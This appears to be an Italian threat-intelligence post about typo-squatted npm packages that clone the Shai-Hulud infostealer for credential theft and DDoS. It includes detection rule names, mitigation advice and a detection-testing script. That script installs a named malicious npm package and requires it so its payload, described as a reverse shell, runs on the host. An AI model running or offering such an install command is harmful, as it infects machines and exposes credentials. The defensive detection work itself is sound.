Shai-Hulud Cloni: Imitatori di TeamPCP Sono Qui
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
I ricercatori hanno scoperto quattro pacchetti npm dannosi che combinano funzionalità di furto di informazioni con capacità di negazione del servizio distribuito. Questi pacchetti impersonano librerie popolari attraverso typo-squatting e includono il codice open-source Shai-Hulud modificato per utilizzare server di comando e controllo controllati dagli aggressori. L’installazione di uno qualsiasi dei pacchetti può comportare il furto di credenziali, l’esfiltrazione di segreti cloud e, in un caso, l’iscrizione dell’host infetto in una botnet DDoS. Le scoperte mettono in luce il crescente rischio nella supply chain all’interno dell’ecosistema npm.
Indagine
Gli analisti hanno confrontato il pacchetto chalk-tempalte con il codice sorgente Shai-Hulud trapelato e hanno scoperto che è una copia quasi esatta, non offuscata, configurata con un endpoint di comando e controllo personalizzato. I pacchetti rimanenti trasmettevano dati rubati a domini malevoli separati o a un indirizzo IP sulla porta 2222, mentre una variante ha anche distribuito un servizio bot locale basato su Go utilizzato per attività DDoS. Tutti e quattro i pacchetti sono stati pubblicati dallo stesso account npm, rafforzando il legame tra di loro.
Mitigazione
Le organizzazioni dovrebbero rimuovere immediatamente i pacchetti dannosi da tutti i progetti ed eliminare gli artefatti di configurazione associati dagli ambienti di sviluppo e dai sistemi di build. Tutte le credenziali che possono essere state esposte dovrebbero essere ruotate e l’accesso alla rete ai domini e agli indirizzi IP malevoli identificati dovrebbe essere bloccato. I team dovrebbero anche monitorare le dipendenze npm per i pacchetti typo-squattati che imitano le stesse librerie legittime.
Risposta
I difensori dovrebbero creare rilevamenti per le connessioni in uscita ai domini di comando e controllo identificati e agli indirizzi IP, avvisare sull’installazione dei quattro nomi di pacchetti dannosi e scansionare i sistemi per la chiave pubblica incorporata collegata al malware. Qualsiasi sistema che abbia installato uno dei pacchetti dovrebbe essere sottoposto a revisione forense per determinare se siano stati distribuiti servizi persistenti, attività pianificate o payload aggiuntivi.
Flusso di attacco
Rilevamenti
Download di Eseguibili Sospetti (tramite proxy)
Visualizza
Possibile File di Configurazione Automatico di Vscode Creato in una Directory Insolita [MACOS] (tramite file_event)
Visualizza
Upload/Download Remoto di File tramite Strumenti Standard (tramite cmdline)
Visualizza
Possibile File di Configurazione Automatico di Vscode Creato in una Directory Insolita [LINUX] (tramite file_event)
Visualizza
File Nascosto Creato su Host Linux (tramite file_event)
Visualizza
Possibili Punti di Persistenza [ASEPs – Software/NTUSER Hive] (tramite registry_event)
Visualizza
Possibile Utilizzo di Schtasks o AT per Persistenza (tramite cmdline)
Visualizza
Possibili Punti di Persistenza [ASEPs – Software/NTUSER Hive] (tramite cmdline)
Visualizza
Binary/Script Sospetti nella Posizione di Avvio Automatico (tramite file_event)
Visualizza
Possibile Tentativo di Comunicazioni del Dominio Lookup IP (tramite dns)
Visualizza
Comando e Controllo Sospetto tramite Richiesta DNS di Dominio di Livello Superiore Insolito (TLD) (tramite dns)
Visualizza
Possibile Uso di Crontab per Esecuzione Diretta (tramite cmdline)
Visualizza
IOC (SourceIP) per rilevare: Nuovi Attori Distribuiscono Cloni di Shai-Hulud: Imitatori TeamPCP Sono Qui
Visualizza
IOC (DestinationIP) per rilevare: Nuovi Attori Distribuiscono Cloni di Shai-Hulud: Imitatori TeamPCP Sono Qui
Visualizza
Rilevamento delle Connessioni di Rete in Uscita ai Server C2 di Shai-Hulud [Firewall]
Visualizza
Rilevamento dell’Esecuzione di Pacchetti NPM Dannosi [Creazione Processo Windows]
Visualizza
Rilevamento dell’Esecuzione di Pacchetti npm Dannosi [Creazione Processo Linux]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Preliminare di Telemetria e Baseline Deve Essere Stato Superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione dell’Attacco e Comandi:
- Ricognizione Iniziale (opzionale): L’attaccante enumera l’ambiente Node.js della vittima per confermare che
npmè presente. - Acquisizione del Pacchetto Dannoso: L’attaccante scarica un pacchetto npm dannoso che imita un’utilità legittima (es.,
@deadcode09284814/axios-util). - Installazione ed Esecuzione: Utilizzando una sola linea, l’attaccante installa il pacchetto a livello globale ed esegue immediatamente un payload JavaScript che apre una shell inversa.
- Persistenza (oltre l’ambito): L’attaccante potrebbe aggiungere il pacchetto dannoso a
package.jsonper riutilizzarlo in futuro.
- Ricognizione Iniziale (opzionale): L’attaccante enumera l’ambiente Node.js della vittima per confermare che
-
Script di Test di Regressione: Lo script riproduce esattamente i passaggi 2‑3, generando le stringhe della riga di comando che la regola Sigma corrisponde.
# malicious_npm_execution.sh # ------------------------------------------------- # 1️⃣ Assicurarsi che l'ambiente di esecuzione Node.js sia presente if ! command -v node >/dev/null 2>&1; then echo "[*] Installazione di Node.js e npm" sudo apt‑update && sudo apt‑install -y nodejs npm fi # 2️⃣ Installare il pacchetto npm dannoso (simulato) # (Sostituire con un pacchetto dannoso reale in un test reale) MALICIOUS_PKG="@deadcode09284814/axios-util" echo "[*] Installazione del pacchetto dannoso: $MALICIOUS_PKG" npm install -g "$MALICIOUS_PKG" # 3️⃣ Eseguire un payload fornito dal pacchetto # Qui semplicemente richiediamo il pacchetto; lo script postinstall del pacchetto # eseguirà il codice dell'attaccante. echo "[*] Attivazione del payload dannoso" node -e "require('$MALICIOUS_PKG');" # 4️⃣ Opzionale: Mantenere viva la shell per l'osservazione sleep 30 echo "[*] Test completato" # ------------------------------------------------- -
Comandi di Pulizia: Rimuovere il pacchetto dannoso e tutti i file generati.
# cleanup_malicious_npm.sh # ------------------------------------------------- echo "[*] Rimozione del pacchetto npm dannoso" npm uninstall -g "@deadcode09284814/axios-util" || true # Rimuovere eventuali residui node_modules dalla directory home rm -rf "$HOME/.npm/_cacache" echo "[*] Pulizia completata" # -------------------------------------------------